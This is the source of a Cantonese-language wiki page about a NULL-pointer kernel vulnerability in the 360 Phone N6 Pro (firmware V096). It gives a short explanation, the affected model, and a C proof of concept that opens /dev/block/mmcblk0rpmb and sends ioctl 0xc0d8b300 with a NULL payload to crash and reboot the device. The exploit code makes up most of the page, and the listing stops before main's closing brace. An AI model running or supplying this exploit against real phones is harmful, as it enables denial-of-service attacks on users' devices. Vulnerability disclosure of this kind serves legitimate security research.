View source for 360 Phone N6 Pro內核漏洞/yue

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==漏洞原理==

360 Phone N6 Pro V096內核組件中嘅內核模塊允許攻擊者使用命令3235427072喺設備<code>/dev/block/mmcblk0rpmb</code>上通過ioctl嘅自變量注入精心設計嘅自變量，並導致內核崩潰。

==漏洞影響==

360 Phone N6 Pro 1801-A01

==POC==
<pre>
/*
* This is poc of 360 N6 Pro, 1801-A01
* Android Version: 7.1.1
* Version Number: V096
* Kernel Version: Linux localhost 4.4.21-perf #1 SMP PREEMPT Wed Mar 28 15:24:20 UTC 2018 aarch64
* A NULL pointer bug in the ioctl interface of device file /dev/block/mmcblk0rpmb causes the system crash via IOCTL 3235427072.
* This Poc should run with permission to do ioctl on /dev/block/mmcblk0rpmb.
*/
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>

const static char *driver = "/dev/block/mmcblk0rpmb";
static command = 3235427072; // 0xc0d8b300

int main(int argc, char **argv, char **env) {
int fd = 0;
fd = open(driver, O_RDWR);
if (fd < 0) {
printf("Failed to open %s, with errno %dn", driver, errno);
system("echo 1 > /data/local/tmp/log");
return -1;
}

printf("Try ioctl device file '%s', with command 0x%x and payload NULLn", driver, command);
printf("System will crash and reboot.n");
if(ioctl(fd, command, NULL) < 0) {
printf("Allocation of structs failed, %dn", errno);
system("echo 2 > /data/local/tmp/log");
return -1;
}
close(fd);
return 0;
</pre>